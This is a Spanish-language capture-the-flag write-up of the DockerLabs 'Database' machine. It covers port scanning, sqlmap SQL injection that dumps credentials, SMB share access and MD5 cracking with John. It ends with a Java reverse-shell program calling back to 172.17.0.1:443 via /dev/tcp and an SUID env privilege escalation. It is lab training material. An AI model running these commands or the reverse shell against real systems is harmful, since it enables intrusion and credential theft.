romabri@home:~$

Database - DockerLabs

OS Dificultad Creator
Linux Medio ElPinguinoDeMario

Escaneo y Reconocimiento de puertos

Vamos a iniciar nuestro reconocimiento con un rápido escaneo de nmap.

imagen

nmap -p- --open -sS -sC -sV --min-rate=5000 -vvv -n -Pn -oN escaneo 172.17.0.2

  • -p- - Búsqueda de puertos abiertos
  • --open - Enumera los puertos abiertos
  • -sS - Es un modo de escaneo rápido
  • -sC- - Que use un conjunto de scripts de reconocimiento
  • -sV - Que encuentre la versión del servicio abierto.
  • --min-rate=5000 - Hace que el reconocimiento aun vaya mas rápido mandando no menos de 5000 paquetes
  • -n - No hace resolución DNS
  • -Pn - No hace ping
  • -vvv - Muestra en pantalla a medida que encuentra puertos (Verbose)

Vemos que esta abierto el puerto 22 SSH, el puerto 80 HTTP, el puerto 445 y el puerto 139 Samba

Enumeración Web

Si accedemos a la pagina web vemos lo siguiente

imagen

Usamos Gobuster para hacer un reconocimiento web y ver que directorios podemos encontrar en dicho sitio.

gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php

  • gobuster dir - Indica que estás utilizando la herramienta Gobuster para realizar un escaneo de directorios.
  • -u http://172.20.10.5/ Especifica la URL objetivo que deseas escanear en busca de directorios.
  • -w Especifica que diccionario queremos usar
  • -x Para indicar que tipo de extension queremos que nos encuentre

imagen

Gobuster ha encontrados dos directorios, el index.php y el config.php vamos a ver que encontramos.

No hay nada interesante, vamos a ver si es potencialmente vulnerable a un SQLi con la herramienta SQL Map-

Ataque SQLi

Lo hacemos de la siguente forma:

sqlmap -u http://172.17.0.2/index.php --forms --dbs --batch

Esto va hacer un escaneo de las bases de datos que encuentre.

imagen

sqlmap -u http://172.17.0.2/index.php --forms -D register --tables --batch

Esto va ha ver que tablas se encuentran dentro de la base de datos register.

imagen

Ahora vamos a ver que hay dentro de la tabla users

sqlmap -u http://172.17.0.2/index.php --forms -D register -T users --columns --batch

imagen

Encontramos dos columnas, la passwd y la username vamos a ver que hay dentro de cada una.

sqlmap -u http://172.17.0.2/index.php --forms -D register -T users -C passwd,username --dump --batch

imagen

Encontramos una contraseña y un usuario.

dylan:KJSDFG789FGSDF78

Si ahora accedemos al panel web con esas credenciales vemos lo siguiente

imagen

Ahora si probamos el usuario y la contraseña para intentar acceder vía SSH vemos que no funciona

imagen

SMB

Vamos a ver si podemos listar directorios compartidos por SMB con la Herramienta SMB Map

imagen

Vemos que tenemos 1 carpeta llamada shared pero no tenemos acceso vamos a probar con la contraseña que hemos podido ver apartir del SQL injection.

imagen

El usuario dylan tiene permiso de escritura en el directorio shared, entonces con la herramienta smbclient vamos a conectarnos a esa carpeta a ver que hay en su interior.

imagen

Vemos un archivo para poderlo leer vamos a descargarlo con el parametro get y le hacemos un cat en nuestra maquina atacante..

imagen

Podríamos tener un posible usuario y una posible contraseña pero esta encriptada en MD5 vamos aplicar fuerza bruta con John para desencriptarla.

imagen

tenemos el usuario augustus con la contraseña lovely

Intrusión

Vamos a validar estas credenciales por ssh

imagen

Ya estamos dentro de la máquina, vamos a buscar alguna forma de escalar privilegios.

Escalada de privilegios

imagen

Si hacemos un sudo -l vemos que podemos ejecutar el binario java como dylan y así poder escalar a su usuario.

Vamos a crear un script en java para que nos mande una reverse shell con el usuario dylan.

public class Shell {
    public static void main(String[] args) {
        Process p;
        try {
            p = Runtime.getRuntime().exec("bash -c $@|bash 0 echo bash -i >& /dev/tcp/172.17.0.1/443 0>&1");
            p.waitFor();
            p.destroy();
        } catch (Exception e) {}
    }
}

Ahora nos ponemos en escucha con netcat por el puerto 443 y ejecutamos el script de la siguiente forma

sudo -u dylan /usr/bin/java reverse.java

imagen

Ya somo el usuario dylan, vamos a ver ahora como podemos escalar.

Si buscamos permisos SUID vemos que tenemos el binario env

imagen

y para explotar esto lo podemos hacer de la siguiente forma

/usr/bin/env /bin/sh -p

imagen

Ya somos ROOT